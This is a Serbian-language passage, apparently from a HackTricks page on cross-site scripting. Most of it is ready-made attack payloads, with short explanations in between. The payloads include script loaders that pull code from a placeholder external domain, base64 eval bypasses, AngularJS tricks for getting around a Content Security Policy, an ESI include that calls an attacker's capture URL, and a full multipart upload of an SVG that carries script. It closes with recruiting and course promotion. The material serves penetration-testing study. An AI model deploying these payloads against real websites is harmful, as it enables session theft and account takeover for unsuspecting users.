"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Regex - Pristup skrivenom sadržaju

Iz ovog objašnjenja moguće je naučiti da čak i ako neke vrednosti nestanu iz JS-a, i dalje je moguće pronaći ih u JS atributima u različitim objektima. Na primer, unos REGEX-a i dalje je moguće pronaći nakon što je vrednost unosa REGEX-a uklonjena:

// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);

// Remove flag value, nobody will be able to get it, right?
flag=""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])

Lista Brute-Force

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}

Zloupotreba drugih ranjivosti putem XSS-a

XSS u Markdown-u

Možete ubaciti Markdown kod koji će biti prikazan? Možda možete dobiti XSS! Proverite:

{% content-ref url="xss-in-markdown.md" %} xss-in-markdown.md {% endcontent-ref %}

XSS ka SSRF-u

Imate XSS na sajtu koji koristi keširanje? Pokušajte unaprediti to u SSRF putem ubrizgavanja koda za uključivanje sa strane ivice pomoću ovog payload-a:

<esi:include src="http://yoursite.com/capture" />

Koristite ga da biste zaobišli ograničenja kolačića, XSS filtere i mnogo više!
Više informacija o ovoj tehnici možete pronaći ovde: XSLT.

XSS u dinamički kreiranom PDF-u

Ako veb stranica kreira PDF koristeći korisnički kontrolisani unos, možete pokušati da prevarite bota koji kreira PDF da izvrši proizvoljan JS kod.
Dakle, ako bot za kreiranje PDF-a pronađe neke vrste HTML tagova, on će ih interpretirati, i možete zloupotrebiti ovu ponašanje da izazovete Server XSS.

{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}

Ako ne možete ubaciti HTML tagove, vredno je pokušati ubaciti PDF podatke:

{% content-ref url="pdf-injection.md" %} pdf-injection.md {% endcontent-ref %}

XSS u Amp4Email-u

AMP, sa ciljem ubrzanja performansi veb stranica na mobilnim uređajima, uključuje HTML tagove dopunjene JavaScript-om kako bi se osigurala funkcionalnost sa naglaskom na brzinu i bezbednost. Podržava niz komponenti za različite funkcije, dostupnih putem AMP komponenti.

Format AMP za Email proširuje određene AMP komponente na e-poštu, omogućavajući primaocima da direktno interaguju sa sadržajem unutar svojih e-poruka.

Primer izveštaja o XSS-u u Amp4Email-u u Gmail-u.

XSS otpremanje fajlova (svg)

Otpremite kao sliku fajl poput sledećeg (sa http://ghostlulz.com/xss-svg/):

Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Pronađite više SVG payloada na https://github.com/allanlw/svg-cheatsheet

Razne JS trikovi i relevantne informacije

{% content-ref url="other-js-tricks.md" %} other-js-tricks.md {% endcontent-ref %}

XSS resursi

Ako ste zainteresovani za hakersku karijeru i hakovanje neuhvatljivog - zapošljavamo! (potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno).

{% embed url="https://www.stmcyber.com/careers" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: